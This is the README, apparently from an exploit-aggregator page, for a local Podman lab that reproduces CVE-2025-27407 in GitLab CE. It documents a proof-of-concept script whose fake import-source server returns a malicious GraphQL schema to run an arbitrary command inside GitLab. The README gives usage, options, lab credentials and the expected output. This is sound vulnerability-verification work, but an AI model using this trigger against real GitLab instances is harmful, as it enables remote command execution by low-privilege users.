Share
## https://sploitus.com/exploit?id=C872D08E-1C35-5AEF-B757-8EB75B8B2228
# CVE-2025-27407 GitLab Podman Lab
Minimal local-only lab for proving the GitLab Direct Transfer HTTP path reaches the vulnerable `graphql-ruby` introspection schema loader. The lab runs one vulnerable GitLab CE container; the PoC script starts its fake GitLab source server in-process only while testing.
Only run this against systems you own or are explicitly authorized to test.
## Files
| File | Purpose |
| --- | --- |
| `lab.sh` | Starts, waits, verifies, and cleans up the GitLab lab. |
| `poc_host_port_cmd.py` | One-shot PoC: fake source server + GitLab login/configure/import trigger. |
## Requirements
- Linux host with `podman`
- `curl`
- Free local ports for GitLab and the PoC fake source server
- Enough RAM/disk for the GitLab Omnibus container
Default values:
| Item | Default |
| --- | --- |
| GitLab image | `docker.io/gitlab/gitlab-ce:16.11.8-ce.0` |
| GitLab container | `cve-27407-gitlab` |
| Podman network | `cve-2025-27407-net` |
| GitLab root user | `root` |
| GitLab root password | `Cve27407Password!` |
| Marker | `/tmp/cve_2025_27407_gitlab_marker` |
## Start the Lab
Port `8080` is the script default. If something else already uses it, use `18080` as shown here.
```bash
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
```
Open GitLab at:
```text
http://127.0.0.1:18080
```
Login credentials:
```text
root / Cve27407Password!
```
`root` is only the default lab user. The PoC trigger does not require an admin account; any authenticated user that can create/import into a destination namespace can hit the vulnerable Direct Transfer path. Use `--username` and `--password` to test with a non-admin user.
## Run the PoC
```bash
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
```
Expected signals:
```text
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
```
## Options
| Option | Purpose | Default |
| --- | --- | --- |
| `--host` | GitLab host to target | Required |
| `--port` | GitLab HTTP port to target | Required |
| `--cmd` | Command executed in the GitLab runtime | `touch /tmp/cve_2025_27407_gitlab_marker` |
| `--listen-port` | Local fake source server port | `8001` |
| `--wait-seconds` | Time to keep fake source alive for async GitLab workers | `90` |
| `--username` | GitLab username | `root` |
| `--password` | GitLab password | `Cve27407Password!` |
## Environment Overrides
| Variable | Purpose | Default |
| --- | --- | --- |
| `GITLAB_HTTP_PORT` | Host/container GitLab HTTP port | `8080` |
| `GITLAB_SSH_PORT` | Host GitLab SSH port | `2224` |
| `GITLAB_ROOT_PASSWORD` | Initial root password | `Cve27407Password!` |
| `GITLAB_IMAGE` | GitLab image to run | `docker.io/gitlab/gitlab-ce:16.11.8-ce.0` |
| `NETWORK` | Podman network name | `cve-2025-27407-net` |
| `MARKER` | File checked inside GitLab container | `/tmp/cve_2025_27407_gitlab_marker` |
| `TIMEOUT_SECONDS` | Readiness wait timeout | `1200` |
## Troubleshooting
- If `8080` is busy, use `GITLAB_HTTP_PORT=18080` for `./lab.sh up`.
- If the PoC cannot bind its source port, change `--listen-port` to an unused port.
- If marker verification races the background import worker, raise `--wait-seconds` or rerun `MARKER="$MARKER" ./lab.sh verify`.
- If GitLab is not ready yet, rerun `GITLAB_HTTP_PORT=18080 ./lab.sh wait`.
- If a previous lab is stuck, run `./lab.sh cleanup` and start again.
## Cleanup
```bash
./lab.sh cleanup
```
This removes the GitLab container, any legacy fake-source container from older lab versions, and the lab network. It does not remove downloaded Podman images.